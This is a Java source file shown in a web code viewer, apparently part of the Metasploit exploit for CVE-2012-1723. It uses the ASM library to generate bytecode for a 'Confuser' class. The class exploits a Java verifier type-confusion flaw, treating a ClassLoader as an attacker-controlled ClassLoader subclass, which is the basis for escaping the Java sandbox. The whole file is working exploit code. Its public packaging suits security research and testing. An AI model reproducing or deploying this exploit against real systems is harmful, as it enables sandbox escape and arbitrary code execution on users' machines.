Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2012-1723/src/cve1723/Generator.java
Views: 11784
package cve1723;12import org.objectweb.asm.*;34import java.io.ByteArrayOutputStream;5import java.io.FileOutputStream;6import java.io.IOException;7import java.io.InputStream;8import java.nio.*;9import java.util.Arrays;1011import static org.objectweb.asm.Opcodes.*;1213/**14* CVE-2012-172315*/16public class Generator {17public static byte[] generateConfusion() {18final String STATIC_FIELD_NAME = "staticTypeA";19final String INSTANCE_FIELD_NAME = "instanceTypeB";20final String CONFUSE_METHOD_NAME = "confuse";21final String CONFUSER_CLASS_NAME = "cve1723/Confuser";2223final String TYPE_A = "Ljava/lang/ClassLoader;";24final String TYPE_B = "Lcve1723/ConfusingClassLoader;";2526final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);2728MethodVisitor mv = null;29FieldVisitor fv = null;3031cw.visit(V1_5, ACC_PUBLIC | ACC_SUPER, CONFUSER_CLASS_NAME, null, "java/lang/Object", null);3233// static field of type A (ClassLoader)34{35fv = cw.visitField(ACC_STATIC, STATIC_FIELD_NAME, TYPE_A, null, null);36fv.visitEnd();37}3839// one hundred fields of type B (ConfusingClassLoader)40{41for (int i = 0; i < 100; i++) {42fv = cw.visitField(ACC_PUBLIC, INSTANCE_FIELD_NAME + i, TYPE_B, null, null);43fv.visitEnd();44}45}4647// constructor48{49mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);50mv.visitCode();51mv.visitVarInsn(ALOAD, 0);52mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V");53mv.visitInsn(RETURN);54mv.visitMaxs(0, 0);55mv.visitEnd();56}5758// confuse method59{60mv = cw.visitMethod(ACC_PUBLIC, CONFUSE_METHOD_NAME, "(" + TYPE_A + ")" + TYPE_B, null, null);61mv.visitCode();62/*63aload 1 // push parameter onto stack64ifnonnull cont:65aconst_null66areturn // quick return67cont:68getstatic STATIC_FIELD_NAME69pop70aload 071aload 172putfield STATIC_FIELD_NAME // force this into a non-static field7374// find instance field that's not null75aload 076getfield INSTANCE_FIELD_NAME_177ifnull cont2:78aload 079getfield INSTANCE_FIELD_NAME_180areturn81cont2:82...8384aconst_null85areturn86*/8788// first part89mv.visitVarInsn(ALOAD, 1);90final Label cont = new Label();91mv.visitJumpInsn(IFNONNULL, cont);92mv.visitInsn(ACONST_NULL);93mv.visitInsn(ARETURN);94mv.visitLabel(cont);9596// 2nd part97mv.visitFieldInsn(GETSTATIC, CONFUSER_CLASS_NAME, STATIC_FIELD_NAME, TYPE_A);98mv.visitInsn(POP);99mv.visitVarInsn(ALOAD, 0);100mv.visitVarInsn(ALOAD, 1);101mv.visitFieldInsn(PUTFIELD, CONFUSER_CLASS_NAME, STATIC_FIELD_NAME, TYPE_A);102103for (int i = 0; i < 100; i++) {104mv.visitVarInsn(ALOAD, 0);105mv.visitFieldInsn(GETFIELD, CONFUSER_CLASS_NAME, INSTANCE_FIELD_NAME + i, TYPE_B);106final Label contN = new Label();107mv.visitJumpInsn(IFNULL, contN);108mv.visitVarInsn(ALOAD, 0);109mv.visitFieldInsn(GETFIELD, CONFUSER_CLASS_NAME, INSTANCE_FIELD_NAME + i, TYPE_B);110mv.visitInsn(ARETURN);111mv.visitLabel(contN);112}113114mv.visitInsn(ACONST_NULL);115mv.visitInsn(ARETURN);116117mv.visitMaxs(0, 0);118mv.visitEnd();119}120cw.visitEnd();121122return cw.toByteArray();123}124125public static void main(final String args[]) throws Exception {126final byte data[] = Generator.generateConfusion();127final FileOutputStream fo = new FileOutputStream("Confuser.class");128fo.write(data);129fo.close();130}131}132133134